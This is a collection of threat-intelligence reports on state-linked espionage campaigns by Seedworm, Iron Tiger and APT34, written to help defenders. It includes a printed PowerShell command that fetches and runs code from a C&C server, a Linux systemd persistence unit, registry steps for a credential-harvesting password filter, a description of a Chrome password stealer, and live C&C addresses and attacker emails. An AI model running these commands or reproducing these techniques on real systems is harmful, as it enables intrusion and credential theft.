intrusion, it +s believed the attackers used WMI to launch the SimpleHelp installer +on the victim network. At the time, this activity couldn +t be definitively linked to Seedworm, +but this subsequent activity appears to show that the earlier activity was carried out by the +same group of attackers. +In another telecommunications and media company targeted by the attackers, multiple +incidents of SimpleHelp were used to connect to known Seedworm infrastructure. A custom +build of the Venom Proxy hacktool was also executed on this network, as well as the new +custom keylogger used by the attackers in this activity. +In the third organization targeted, Venom Proxy was also used, in addition to AnyDesk and +suspicious Windows Scripting Files (WSF) that have been associated with Seedworm activity +in the past. +Toolset +The most interesting part of the toolset used in this activity is probably the presence of the +MuddyC2Go launcher, which was sideloaded by jabswitch.exe. +The malware reads the C&C URL from the Windows registry value + stored inside the +key +HKLM\\SYSTEM\\CurrentControlSet\\Services\\Tcpip +. The URL path is read from the +Status + value in the same aforementioned key. +Lastly, the MuddyC2GO launcher executes the following PowerShell command to contact its +C&C server and execute the PowerShell code received: +powershell.exe -c $uri ='{C2_URI}';$response = Invoke-WebRequest UseBasicParsing -Uri $uri -Method GET -ErrorAction Stop;Write-Output +$response.Content;iex $response.Content; +The MuddyC2Go framework was first publicly written about in a blog published by Deep +Instinct researchers on November 8, 2023. That blog documented its use in attacks on +organizations in countries in the Middle East. The researchers said the framework may have +been used by Seedworm since 2020. They also said that the framework, which is written in +Go, has replaced Seedworm +s previous PhonyC2 C&C infrastructure. This replacement +appears to have occurred after the PhonyC2 source code was leaked earlier in 2023. The full +capabilities of MuddyC2Go are not yet known, but the executable contains an embedded +PowerShell script that automatically connects to Seedworm +s C&C server, which eliminates +the need for manual execution by an operator and gives the attackers remote access to a +victim machine. Deep Instinct said it was able to link MuddyC2Go to attacks dating back to +2020 due to the unique URL patterns generated by the framework. It also said that the +MuddyC2Go servers it observed were hosted at +Stark Industries +, which is a VPS provider +that is known to host malicious activity. +Other tools of note used in this activity included SimpleHelp, which is a legitimate remote +device control and management tool, for persistence on victim machines. SimpleHelp is +believed to have been used in attacks carried out by Seedworm since at least July 2022. +Once installed on a victim device, SimpleHelp can constantly run as a system service, which +makes it possible for attackers to gain access to the user +s device at any point in time, even +after a reboot. SimpleHelp also allows attackers to execute commands on a device with +administrator privileges. SimpleHelp is now strongly associated with Seedworm activity and +the tool is installed on several of Seedworm +s servers. +Venom Proxy is a publicly available tool that is described as +a multi-hop proxy tool +developed for penetration testers. + It is written in Go. It can be used to easily proxy network +traffic to a multi-layer intranet, and easily manage intranet nodes. It has been associated with +Seedworm since at least mid-2022, with Microsoft describing it as Seedworm +tool of +choice + in an August 2022 blog. Seedworm tends to use a custom build of Venom Proxy in +its activity. +Other tools used in this activity include: +Revsocks - A cross-platform SOCKS5 proxy server program/library written in C that +can also reverse itself over a firewall. +AnyDesk - A legitimate remote desktop application. It and similar tools are often used +by attackers to obtain remote access to computers on a network. +PowerShell - Seedworm makes heavy use of PowerShell, as well as PowerShellbased tools and scripts in its attacks. PowerShell is a Microsoft scripting tool that can +be used to run commands, download payloads, traverse compromised networks, and +carry out reconnaissance. +Custom keylogger +Conclusion +Seedworm has long had an interest in telecommunications organizations, as do many +groups engaged in cyberespionage activities. However, its strong focus on African +organizations in this campaign is notable as, while it has been known to target organizations +in Africa in the past, it does generally primarily focus on organizations in countries in the +Middle East. That one of the victim organizations in this campaign is based in Egypt is also +of note given Egypt +s proximity to Israel, a frequent target of Seedworm. +Seedworm appears to remain focused on using a wide array of living-off-the-land and +publicly available tools in its attack chains, no doubt in an effort to remain undetected on +victim networks for as long as possible. However, its recent more wide adoption of new C&C +infrastructure in the form of MuddyC2Go is notable and shows that the group continues to +innovate and develop its toolset when required in order to keep its activity under the radar. +While the group uses a lot of living-off-the-land and publicly available tools, it is also capable +of developing its own custom tools, such as the custom build of Venom Proxy and the +custom keylogger used in this campaign. The group still makes heavy use of PowerShell and +PowerShell-related tools and scripts, underlining the need for organizations to be aware of +suspicious use of PowerShell on their networks. +The activity observed by Symantec +s Threat Hunter Team took place in November 2023, +showing that Seedworm is very much a currently active threat faced by organizations that +may be of strategic interest to Iranian threat actors. +Protection/Mitigation +For the latest protection updates, please visit the Symantec Protection Bulletin. +Indicators of Compromise +If an IOC is malicious and the file available to us, Symantec Endpoint products will detect +and block that file. +File Indicators +1a0827082d4b517b643c86ee678eaa53f85f1b33ad409a23c50164c3909fdaca +MuddyC2Go DLL launcher +25b985ce5d7bf15015553e30927691e7673a68ad071693bf6d0284b069ca6d6a + Benign +Java(TM) Platform SE 8 executable used for sideloading MuddyC2Go DLL +eac8e7989c676b9a894ef366357f1cf8e285abde083fbdf92b3619f707ce292f + Custom +keylogger +3916ba913e4d9a46cfce437b18735bbb5cc119cc97970946a1ac4eab6ab39230 + Venom +Proxy +Network Indicators +146.70.124[.]102 + SimpleHelp C&C server +94.131.109[.]65 + MuddyC2Go C&C server +95.164.38[.]99 +MuddyC2Go C&C server +45.67.230[.]91 + MuddyC2Go C&C server +95.164.46[.]199 + MuddyC2Go C&C server +94.131.98[.]14 + MuddyC2Go C&C server +94.131.3[.]160 + GoSOCKS5proxy C&C server +About the Author +Threat Hunter Team +Symantec +The Threat Hunter Team is a group of security experts within Symantec whose mission is to +investigate targeted attacks, drive enhanced protection in Symantec products, and offer +analysis that helps customers respond to attacks. +Iron Tiger +s SysUpdate Reappears, Adds Linux Targeting +trendmicro.com/en_us/research/23/c/iron-tiger-sysupdate-adds-linux-targeting.html +March 1, 2023 +APT & Targeted Attacks +We detail the update that advanced persistent threat (APT) group Iron Tiger made on the +custom malware family SysUpdate. In this version, we also found components that enable +the malware to compromise Linux systems. +By: Daniel Lunghi March 01, 2023 Read time: 11 min (3060 words) +Iron Tiger is an advanced persistent threat (APT) group that has been focused primarily on +cyberespionage for more than a decade. In 2022, we noticed that they updated SysUpdate, +one of their custom malware families, to include new features and add malware infection +support for the Linux platform. +We found the oldest sample of this updated version in July 2022. At the time, we attributed +the sample to Iron Tiger but had not yet identified the final payload. It was only after finding +multiple similar payloads in late October 2022 that we looked further and found similarities +with the SysUpdate malware family that had also been updated in 2021. As with the previous +version, Iron Tiger had made the loading logic complex, probably in an attempt to evade +security solutions. +This new version has similar features to the 2021 version, except that the C++ run-time type +information (RTTI) classes we previously observed in 2021 had been removed, and that the +code structure was changed to use the ASIO C++ asynchronous library. Both changes make +reverse engineering the samples longer. We strongly advise organizations and users in the +targeted industries to reinforce their security measures to defend their systems and stored +information from this ongoing campaign. +Campaign development timeline +These are the key dates for understanding the chronology of Iron Tiger +s operations: +Apr. 2, 2022: Registration of the domain name linked to our oldest Windows sample of +SysUpdate +May 11, 2022: The command and control (C&C) infrastructure was set up. +June 8, 2022: While this could have been tampered with, observed compilation date of +our oldest Windows sample. +July 20, 2022: Oldest Windows sample gets uploaded to Virus Total +Oct. 24, 2022: Oldest Linux sample gets uploaded to Virus Total +1/11 +We observed that the attacker registered the oldest domain name one month before starting +the C&C configuration then waited one more month before compiling the malicious sample +linked to that domain name. We think the gap between the two updates allows the attackers +to plan their operations accordingly. +Loading process +We observed the loading process entailing the following steps: +The attacker runs rc.exe, a legitimate +Microsoft Resource Compiler + signed file , which +is vulnerable to a DLL side-loading vulnerability, and loads a file named rc.dll. +The malicious rc.dll loads a file named rc.bin in memory. +The rc.bin file is a Shikata Ga Nai encoded shellcode that decompresses and loads the +first stage in memory. Depending on the number of command line parameters, +different actions are performed: +Zero or two parameters: +Installs + the malware in the system, and calls Stage 1 +again via process hollowing with four parameters +One parameter: Same as previous action but without the +installation +Four parameters: Creates a memory section with the DES-encrypted malware +configuration and a second Shikata Ga Nai shellcode decompressing and loading +Stage 2. It then runs Stage 2 via process hollowing. +The +installation + step is considered simple wherein the malware moves the files to a +hardcoded folder. Depending on the privileges of the process, the malware either creates a +registry key or a service that launches the moved executable rc.exe with one parameter. This +ensures that the malware will be launched during the next reboot, skipping the installation +part. +2/11 +Figure 1. Updated SysUpdate loading process routine +We saw different legitimate executables being used, sideloading different DLL names, and +multiple binary files names being loaded by those DLLs. We identified the executables and +sideloaded files as follows: +Legitimate +application name +Certificate signer +Side-loaded DLL name +Loaded binary +file name +INISafeWebSSO.exe +Initech +inicore_v2.3.30.dll +inicore_v2.3.30.bin +rc.exe +Microsoft +rcdll.dll +rcdll.bin +dlpumgr32.exe +DESlock +DLPPREM32.dll +sv.bin +GDFInstall.exe +UBISOFT +ENTERTAINMENT +GameuxInstallHelper.DLL +sysconfig.bin +route-null.exe +Wazuh +libwazuhshared.dll +wazuhext.bin +route-null.exe +Wazuh +libwazuhshared.dll +agent-config.bin +wazuh-agent.exe +Wazuh +libwinpthread-1.dll +wazuhext.bin +Table 1. SysUpdate +s seemingly legitimate executables and their respective sideloaded files +3/11 +We want to highlight that this is the first time we observed a threat actor abusing a +sideloading vulnerability in a Wazuh signed executable. Wazuh is a free and open source +security platform, and we could confirm that one of the victims was using the legitimate +Wazuh platform. It is highly likely that Iron Tiger specifically looked for this vulnerability to +appear legitimate in the victim +s environment. We have notified the affected victim of this +intrusion but received no feedback. +Malware features +Looking at the features, several of the functions found in the latest update are similar to the +previous SysUpdate version: +Service manager (lists, starts, stops, and deletes services) +Screenshot grab +Process manager (browses and terminates processes) +Drive information retrieval +File manager (finds, deletes, renames, uploads, downloads a file, and browses a +directory) +Command execution +Iron Tiger also added a feature that had not been seen before in this malware family: C&C +communication through DNS TXT requests. While DNS is not supposed to be a +communication protocol, the attacker abuses this protocol to send and receive information. +Figure 2. C&C communication with DNS TXT records +First, the malware retrieves the configured DNS servers by calling the GetNetworkParams +API function and parsing the DnsServerList linked list. If this method fails, the malware uses +the DNS server operated by Google at IP address 8.8.8.8. +For the first request, the malware generates a random number of 32 bits and appends 0x2191 +to it. This results in six bytes + four for the random number, two for 0x2191 + and encodes +the result further with Base32 algorithm using the alphabet +abcdefghijklmnopqrstuvwxyz012345 +. Looking at Figure 2, the contacted domain name is +after "TXT"; only the first four letters change as the rest of the encoded series is always the +same. This is because the random number changes every time, but the end is the same +0x2191 + result. This explains why the first DNS request always ends with +reeaaaaaa. +. If the C&C reply matches the format expected by the malware, it launches +multiple threads that handle further commands and sends information about the infected +machine. +4/11 +Interestingly, the code related to this DNS C&C communication is only present in samples +that use it, meaning that the builder is modular and that there might be samples in the wild +with unreported features. We continue monitoring this group and malware family for +updates on possible variations of C&C communication protocols being abused. +In all versions, the malware retrieves information on the infected machine and sends it to the +C&C encrypted with DES. Collected machine information includes the following: +Randomly generated GUID +Hostname +Domain name +Username +User privileges +Processor architecture +Current process ID +Operating system version +Current file path +Local IP address and port used to send the network packet +The configuration is encrypted with a hardcoded DES key and is a few bytes long following +the structure enumerated below: +Field content +Length (in +bytes) +Comment +Example +Header +We only found one value +0x00000001 +GUID +Follows the Microsoft format +{89D0E853-FA084f94-A5FEA90E6869E074} +Size of the C&C section +0x00000018 +Size of the next C&C +domain name and port +0x00000014 +C&C type +0x01 = regular C&C +0x01 +0x05 = DNS tunneling +0x00 = regular C&C +C&C domain name +Variable +dev.gitlabs.me +Port number +0x00000050 +5/11 +Size of next section +Next section contains all the +hardcoded names (folder, +files, registry values) +0x00000034 +Name of the hardcoded +directory where files are +copied +Variable +The folder is located either +in % +gtdcfp +Name of the executable +vulnerable to side +loading +Variable +TextInputHost.exe +Name of the malicious +side-loaded DLL +Variable +rc.dll +Name of the binary file +containing the encoded +Stage 1 +Variable +rc.bin +Name of the service or +registry key value used +for persistence +Variable +gtdcfp +Table 2. Configuration structure +We noted that Stage 2 does not embed the configuration file, which is copied in memory by +the previous stage. We only saw one case where there was only one stage being decrypted in +memory and the configuration was hardcoded. +Interestingly, all the samples of this + version had a domain name as its C&C. In the +previous version of SysUpdate, the group used hardcoded IP addresses as C&C. It is possible +that this change is a consequence of the new DNS TXT records + communication feature as it +requires a domain name. +SysUpdate samples for Linux +While investigating SysUpdate +s infrastructure, we found some ELF files linked to some C&C +servers. We analyzed them and concluded that the files were a SysUpdate version made for +the Linux platform. The ELF samples were also written in C++, made use of the Asio library, +shared common network encryption keys, and had many similar features. For example, the +file handling functions are almost the same. It is possible that the developer made use of the +Asio library because of its portability across multiple platforms. +Some parameters can be passed to the binary (note that +Boolean + refers to Boolean data that +is sent to the C&C): +Parameter +Effect +6/11 +-launch +Sets persistence, zeroes boolean, and exits +-run +Zeroes boolean and continues +Daemonize the process, zeroes boolean, and continues +Daemonize the process, zeroes boolean, sets persistence, and continues +-f +Sets the GUID to and continues +Table 3. Parameters passed to the binary as observed from Linux SysUpdate samples +The persistence is ensured by copying a script similarly named as the current filename to the +/usr/lib/systemd/system/ directory, and creating a symlink to this file in the +/etc/ystem/system/multi-user.target.wants/ directory. Thus, this method only works if the +current process has root privileges. The content of the script is: +[Unit] +Description=xxx +[Service] +Type=forking +ExecStart= -x +ExecStop=/usr/bin/id +[Install] +WantedBy=multi-user.target +After running the code dependent on the parameters, if the operator has not chosen a GUID +with the + parameter, the malware generates a random GUID and writes it to a file +similarly named as the current file, with a + appended to it. Then, the malware retrieves +information on the compromised computer and sends it to the C&C. +The following information is sent to the C&C, encrypted with a hardcoded key and DES CBC +algorithm: +GUID +Host name +Username +Local IP address and port used to send the request +Current PID +Kernel version and machine architecture +Current file path +Boolean (0 if it was launched with exactly one parameter, 1 otherwise) +7/11 +For the DNS C&C communication version, the malware retrieves the configured DNS server +by reading the content of the /etc/resolv.conf file, or uses the DNS server operated by Google +at IP address 8.8.8.8. +In 2022, we already noticed that this threat actor was interested in platforms other than +Windows, with the rshell malware family running on Linux and Mac OS. For these reasons, +we would not be surprised to see SysUpdate samples for the Mac OS platform in the future. +Interestingly, most of the Linux samples we found used the new DNS tunneling feature we +detailed in Figure 2, while only one of the Windows + samples used it. +Certificate compromise +Another interesting part of this campaign is the fact that some of the malicious files are +signed with a certificate with the following signer: +Permyakov Ivan Yurievich IP +. Looking +for that name in search engines brings results from the official VMProtect website. The email +address linked to the Authenticode certificate also links to that domain name. VMProtect is a +commercial software intended to make analysis of code extremely difficult by implementing a +custom virtual machine with non-standard architecture. The software has been used by +multiple APT and cybercrime groups in the past to obfuscate their malware. +When searching on malware repositories for other files signed by the same certificate, we +find multiple files named +VMProtectDemo.exe +VMProtect.exe +, or +VMProtect_Con.exe +which suggests that an official demo version of VMProtect is also signed by this certificate. It +appears that the threat actor managed to retrieve the private key allowing him to sign +malicious code. As of this writing, the certificate is now revoked. +Using stolen certificates to sign malicious code is a common practice for this threat actor, as +we already highlighted in 2015 and in all our recent investigations. Interestingly, the threat +actor not only signed some of its malicious executables with the stolen certificate, but also +used VMProtect to obfuscate one of them. +In late January 2023, a Redline stealer sample (detected by Trend Micro as +TrojanSpy.Win32.REDLINE.YXDA1Z, SHA256: +e24b29a1df287fe947018c33590a0b443d6967944b281b70fba7ea6556d00109) signed by the +same certificate was uploaded. We do not believe that the stealer is linked to Iron Tiger, +considering that the network infrastructure is different, and previous reports document the +malware +s goals to be centered on committing cybercrime than data theft. This could mean +other users managed to extract the same private key from the VMProtect demo version, or it +was sold in the underground to different groups, Iron Tiger among them. +Infection vector +8/11 +We did not find an infection vector. However, we noticed that one of the executables packed +with VMProtect and signed with the stolen certificate was named +youdu_client_211.9.194.exe +. Youdu is the name of a Chinese instant messaging application +aimed for use of enterprise customers. Its website mentions multiple customers in many +industries, some of them in critical sectors such as government, energy, healthcare, or +banking. But they also have other customers in industries such as gaming, IT, media, +construction, and retail, apparently all located inside China. +The properties of the malicious file also match the usual Youdu version numbering. However, +the legitimate files are signed with a +Xinda.im + certificate instead of the stolen VMProtect +certificate. +Figure 3. Comparing the properties of the malicious file (left), and properties of the legitimate Youdu +installer (right) +As seen in the product name identified in the malicious file +s properties, we searched for +possible products named +i Talk + but did not find any that could be related to this +investigation. However, we found traces of files from the legitimate Youdu chat application +signed by Xinda.im being copied to folders named +i Talk + on one victim +s computer. This +suggests that some chat application named +i Talk + might be repackaging components from +the official Youdu client along with malicious executables. It appears that a chat application +was used as a lure to entice the victim into opening the malicious file. This would be +consistent with the tactics, techniques, and procedures (TTPs) of two previous Iron Tiger +campaigns from 2020 and 2021: a documented compromise of a chat application widely used +by the Mongolian government, and a supply chain attack on Mimi chat, a chat application +used in parts of South East Asia. +Post-exploitation tools +We found a custom Chrome password and cookie grabber that appeared unfamiliar, and it +was compiled and uploaded in September 2022. The file was also signed with the VMProtect +certificate but it was not obfuscated. In general, the features were simple; the malware +9/11 +decrypts the saved passwords to a file named +passwords.txt +, and the cookies to a file named +cookies.txt +Analyzing its details, the malware first parses the +Local State + file to retrieve the AES key +used to encrypt the cookies and passwords. It then copies the +Login Data + file to a +temporary file +chromedb_tmp +, issues an SQL query to extract the URL, login, and +password fields from the file, and then decrypts them and appends the result to the +passwords.txt + file. +It proceeds to copy the +Cookies + file to a temporary file +chromedb_tmp +, extracts multiple +fields from it using an SQL query, and then decrypts the content before copying the result to +the +cookies.txt + file. Some specific cookies related to Google domain names are ignored, +probably because they are mostly related to specific Google features or tracking that are +considered useless by the threat actor. +We found two other samples from this stealer: One compilation date indicated an executable +built in November 2020, and the other one in December 2021, although those dates could be +tampered with. We found those samples were uploaded on November 2021 and August 2022, +meaning this stealer existed since at least late 2021. +Targeting +We identified one gambling company in the Philippines as compromised by this campaign. +Interestingly, the threat actor registered a domain name similar to the company name and +used it as a C&C. This was not surprising as we have noticed this threat actor targeting this +industry since 2019 during our Operation DRBControl investigation, and later in 2021 with +an update of SysUpdate. We also attempted to notify the company of this incident through all +their listed channels but have received no feedback. +As stated in the +Infection Vector + section, we noticed the Youdu chat application was +probably used as a lure. It is worth mentioning that the customers mentioned in the Youdu +official website are all located inside China, which could be an indicator of the threat actor +interest in targets related to this country. +Conclusion +This investigation confirms that Iron Tiger regularly updates its tools to add new features +and probably to ease their portability to other platforms, verifying the interest we found from +this threat actor for Linux or Mac OS. It also corroborates this threat actor +s interest in the +gambling industry and the South East Asia region, as we previously noted in 2020 and 2021. +This campaign also substantiates the regular usage of chat applications as infection vectors +from Iron Tiger. We expect to find further updates of these tools in the future to +accommodate other platforms and apps. +10/11 +As an additional warning, we want to highlight that the targeting can be wider than the +samples and targeting we have already observed. In 2022, we discussed a campaign targeting +Taiwan and the Philippines that made use of HyperBro samples (detected by Trend Micro as +Backdoor.Win32.HYPERBRO.ENC) signed with a stolen Cheetah certificate. The BfV, a +German governmental entity, published a report in January 2022 mentioning attacks against +German companies with HyperBro samples that were also signed with the same certificate. +In October 2022, Intrinsec reported an incident in a French company also using HyperBro +samples matching the structure we described in our 2021 investigation. This shows the threat +actor is likely to reuse the tools mentioned here in future campaigns that might target +different regions or industries in the short and long term. Considering the active campaign +and regular developments made on this malware family, organizations are advised to +enhance and broaden their current and established security measures, and heighten overall +vigilance for possible infection vectors that can be abused by this threat group. +Indicators of Compromise (IOCs) +Download the full list of indicators here. +11/11 +New APT34 Malware Targets The Middle East +trendmicro.com/en_us/research/23/b/new-apt34-malware-targets-the-middle-east.html +February 2, 2023 +APT & Targeted Attacks +We analyze an infection campaign targeting organizations in the Middle East for cyberespionage in December 2022 using a +new backdoor malware. The campaign abuses legitimate but compromised email accounts to send stolen data to external mail +accounts controlled by the attackers. +By: Mohamed Fahmy, Sherif Magdy, Mahmoud Zohdy February 02, 2023 Read time: 8 min (2155 words) +On December 2022, we identified a suspicious executable (detected by Trend Micro as Trojan.MSIL.REDCAP.AD) that was +dropped and executed on multiple machines. Our investigation led us to link this attack to advanced persistent threat (APT) +group APT34, and the main goal is to steal users + credentials. Even in case of a password reset or change, the malware is +capable of sending the new credentials to the threat actors. Moreover, after analyzing the backdoor variant deployed, we +found the malware capable of new exfiltration techniques + the abuse of compromised mailbox accounts to send stolen data +from the internal mail boxes to external mail accounts controlled by the attackers. While not new as a technique, this is the +first instance that APT34 used this for their campaign deployment. Following this analysis, it is highly likely that this +campaign +s routine is only a small part of a bigger chain of deployments. Users and organizations are strongly advised to +reinforce their current security measures and to be vigilant of the possible vectors abused for compromise. +Routine +In this section, we describe the attack infection flow and its respective stages, as well as share details on how the group uses +emails to steal and exfiltrate critical information. +First Stage: Initial Droppers +1/12 +Figure 1. Initial stage .Net droppers +We found the initial stage .Net dropper malware called MrPerfectInstaller (detected by Trend Micro as +Trojan.MSIL.REDCAP.AD) responsible for dropping four different files, with each component stored in a Base64 buffer +inside the main dropper. It drops the following: +1. %System%\psgfilter.dll: The password filter dynamic link library (DLL) used to provide a way to implement the +password policy and change notification +2/12 +2. %ProgramData%\WindowsSoftwareDevices\DevicesSrv.exe: The main .Net responsible for exfiltrating and leaking +specific files dropped into the root path of this backdoor execution. This backdoor requires the .Net library +implementing Microsoft Exchange webservices to authenticate with the victim mail server and exfiltrate through it. +3. %ProgramData%\WindowsSoftwareDevices\Microsoft.Exchange.WebServices.dll: The library to support the second +component +s capability. +4. %ProgramData%\WindowsSoftwareDevices\DevicesSrv.exe.config: An app configuration file for runtimes of the .Net +execution environment. This allows the option of falling back to .Net 2.0. +Figure 2. The four Base64 encoded buffers inside the main .Net dropper +3/12 +Figure 3. The four modules dropped by the main binary +The dropper also adds the following registry key to assist in implementing the password filter dropped earlier: +HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa +Notification Packages = scecli, psgfilter +Figure 4. Adds the registry key +The main .Net binary implements two arguments for its operation: the first argument for installing the second stage, and the +second argument for uninstalling it and unregistering the password filter dropped. +Figure 5. Implementing two arguments for operation +Figure 6. Function in case -u passed to dropper +4/12 +Figure 7. Function in case -i passed to dropper, installing the second stage, then uninstalling it and unregistering the +password filter +Second Stage: Abusing The Dropped Password Filter Policy +Microsoft introduced Password Filters for system administrators to enforce password policies and change notifications. +These filters are used to validate new passwords, confirm that these are aligned with the password policy in place, and ensure +that no passwords in use can be considered compliant with the domain policy but are considered weak. +These password filters can be abused by a threat actor as a method to intercept or retrieve credentials from domain users +(domain controller) or local accounts (local computer). This is because for password filters to perform, password validation +requires the password of the user in plaintext from the Local Security Authority (LSA). Therefore, installing and registering +an arbitrary password filter could be used to harvest credentials every time a user changes his password. This technique +requires elevated access (local administrator) and can be implemented with the following steps: +1. Password Filter psgfilter.dll be dropped into C:\Windows\System32 +2. Registry key modification to register the Password Filter [DLL +HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa +Notification Packages = scecli, psgfilter] +Using this technique, the malicious actor can capture and harvest every password from the compromised machines even after +the modification. The DLL has three export functions to implement the main functionality of support for registering the DLL +into the LSA, as follows: +InitializeChangeNotify: Indicates that a password filter DLL is initialized. +PasswordChangeNotify: Indicates that a password has been changed. +PasswordFilter: Validates a new password based on password policy. +5/12 +Figure 8. First and second stages +Figure 9. Functions exported by DLL +When implementing the password filter export functions, the malicious actor took great care working with the plaintext +passwords. When sent over networks, the plaintext passwords were first encrypted before being exfiltrated. +Data Exfiltration Through Legitimate Mail Traffic +The main backdoor function (detected by Trend Micro as Backdoor.MSIL.REDCAP.A) receives the valid domain credentials +as an argument and uses it to log on to the Exchange Server and use it for data exfiltration purposes. The main function of +this stage is to take the stolen password from the argument and send it to the attackers as an attachment in an email. We also +observed that the threat actors relay these emails via government Exchange Servers using vaild accounts with stolen +passwords. +6/12 +Figure 10. High level overview of malware +s data exfiltration routine +First, the .Net backdoor parses a config file dropped in the main root path where it is executing from and checks for a file +callled ngb inside <%ProgramData%\WindowsSoftwareDevices\DevicesTemp\> to extract three parameters: +Server: The specific Exchange mail server for the targeted government entity where the data is leaked through. +Target: The email addresses where the malicious actors receive the exfiltrated data in. +Domain: The internal active directory (AD) domain name related to the targeted government entity in the Middle East. +However, the malware also supports for the modification of old passwords to new ones, which are sent through the registered +DLL password filter. +7/12 +Figure 11. Checking the config file path ngb +The malware proceeds to initialize an ExchangeService object in the first step and supplies the stolen credentials as +WebCredentials to interface with the victim mail server in the second step. Using these Exchange Web Service (EWS) +bindings, the malicious actor can send mails to external recipients on behalf of any stolen user and initialize a new instance of +the WebCredentials class with the username and password for the account to authenticate. +Figure 12. Initialize EWS binding to the victim mail server +The malware then iterates through the files found under the target path. For each file found, it adds its path to a list, which +will be exfiltrated later in the last step. +Figure 13. Iterating through the files found under the target path +8/12 +The final stage is to iterate over the collected list of file paths. For each path, it prepares an EmailMessage object with the +subject +Exchange Default Message +, and a mail body content of +Exchange Server is testing services. + The iteration attaches +the whole file to this EmailMessage object and sends it using the previous initalized EWS form (Steps 1 and 2 in Figure 10), +which already authenticated the user account. +Figure 14. Exfiltrating files using mail attachments +Figure 15. Some hardcoded targets in the sample +Figure 16. How the Sent folder looks like for a compromised user +9/12 +APT34 Targeting and Arsenal Evolution +APT34 has been documented to target organizations worldwide, particularly companies from the financial, government, +energy, chemical, and telecommunications industries in the Middle East since at least 2014. Documented as a group +primarily involved for cyberespionage, APT34 has been previously recorded targeting government offices and show no signs +of stopping with their intrusions. Our continuous monitoring of the group proves it continues to create new and updated +tools to minimize the detection of their arsenal: Shifting to new data exfiltration techniques + from the heavy use of DNSbased command and control (C&C) communication to combining it with the legitimate simple mail transfer protocol (SMTP) +mail traffic + to bypass any security policies enforced on the network perimeters. +From three previously documented attacks, we observed that while the group uses simple malware families, these +deployments show the group's flexibility to write new malware based on researched customer environments and levels of +access. This level of skill can make attribution for security researchers and reverse engineers more difficult in terms of +tracking and monitoring because patterns, behaviors, and tools can be completely different for every compromise. +For instance, in the two separate attacks using Karkoff (detected by Trend Micro as Backdoor.MSIL.OILYFACE.A) in 2020 +and Saitama (detected by Trend Micro as Backdoor.MSIL.AMATIAS.THEAABB) in 2022, the group used macros inside Excel +files as part of the first stage to send phishing emails since the group did not have access to the enterprise yet. Contrary to this +newest compromise, however, the first stage was rewritten completely in DotNet and executed by the actor directly. +Moreover, Karkoff malware has a full backdoor module using a government exchange server as a communication channel via +send/received commands over an exchanged server, and used a hardcoded account to authenticate the said communication. +Compared to the new malware, the latest compromise seems to be rewritten to use the same technique but only to exfiltrate +data over the mail channel. Aside from using hardcoded accounts as exchange accounts, APT34 can add a new module that +can monitor changes in passwords and use the new accounts to send mails, exfiltrating data via Microsoft Exchange servers. +Based on a 2019 report on APT34, the top countries targeted by the group are: +The United Arab Emirates +China +Jordan +Saudi Arabia +While not at the top of the group +s list, other countries in the Middle East considered as targets are Qatar, Oman, Kuwait, +Bahrain, Lebanon, and Egypt. +Attribution Analysis +There are several data points and indicators that suggest APT34 carried out this attack, and that this group is still active in +targeting countries in the Middle East with a special focus on compromising government entities. +The first stage dropper +The first stage dropper between the Saitama backdoor and this new operation +s first stage .Net dropper have a few +similarities. Despite the dated Saitama operation +s first stage dropper, a VBA macro that drops the actual .Net backdoor +Saitama malware, the new attack implemented in the group +s latest deployment is a .Net dropper that drops the actual +malware. Both deployments + final stages leverage EWS + Managed API (Microsoft.Exchange.WenServices.dll). +Figure 17. Saitama backdoor +s first stage dropper (left), and the dropped files for the new APT34 .Net backdoor in the first stage (right) +Leveraging exchange servers for communications (Uni- and bidirectional) +Both this campaign and the Karkoff campaign made use of targeted exchange servers and relayed communications through +it. In the previous campaign, this was reportedly done with the deployment of the Karkoff implant. The old Karkoff sample +attributed to APT34 share a common functionality for abusing the EWS API. +10/12 +Figure 18. The Karkoff implant leveraging EWS (top), and the newer APT34 backdoor +s use of EWS (bottom) +The victim targeted +APT34 has been documented for targeting countries in the Middle East. In a previous campaign analyzed by Yoroi Labs, the +Karkoff sample (SHA256: 1f47770cc42ac8805060004f203a5f537b7473a36ff41eabb746900b2fa24cc8) attributed to APT34 +has the mail server domain hardcoded inside the sample. Alongside the target mail recipient the attackers receive +information from is the same hardcoded mail server domain found in the latest backdoor, including the targeted Exchange +Server for a government ministry. Both samples included some hardcoded credentials as well. However, the newer backdoor +includes support for stealing the new passwords of previously compromised users who changed their passwords, ensuring +their legitimate accounts stay compromised. +Figure 19. Karkoff implant targeting an army mail server in 2020 (top), and the newer APT backdoor targeting another mail server in 2023 +(bottom) +Conclusions +At first glance, security teams can mistakenly tag the sample as safe or as a benign activity given the validity of the domains +and mail credentials. It will take more experienced analysts to see that the domains abused is part of a bigger active directory +domain +forest +, which share a trust relationship with each other to allow different government ministries or agencies to +communicate. Considering we found a compromised account from one entity inside a sample sourced from a different agency +indicates APT34 now has a deep foothold in the government domain forest. +Following the stages executed, APT34 +s repeated use of the Saitama backdoor technique in the first stage indicates a +confidence that even the dated malware +s technique will continue to work and initiate compromise. +The next stages for exfiltrating data, however, are considerably new and are considered exploratory for the group. Despite the +routine's simplicity, the novelty of the second and last stages also indicate that this entire routine can just be a small part of a +bigger campaign targeting governments. We continue tracking and monitoring the abuse of this threat to determine the +11/12 +depth and breadth of this compromise. +Indicators of Compromise (IOCs) +SHA256 +File name +Detection +5ed7ebc339af6ca6a5d1b9b45db6b3ae00232d9ccd80d5fcadf7680320bd4e6b +DevicesSrv.exe +Backdoor.MSIL.REDCAP.A +827366355c6429a7fe12d111e240c5bcec3ed61e717fb84ea8b771672dd1f88e +psgfilter.dll +Trojan.Win64.REDCAP.AF +Emails abused +Jaqueline[.]Herrera@proton[.]me +Ciara[.]Stoneburner@proton[.]me +marsha[.]fischer556@gmail[.]com +Kathryn[.]Firkins@proton[.]me +Susan[.]potts454@proton[.]me +Earl[.]butler945@gmail[.]com +Additional insights provided by AbdelRahman Yasser. +12/12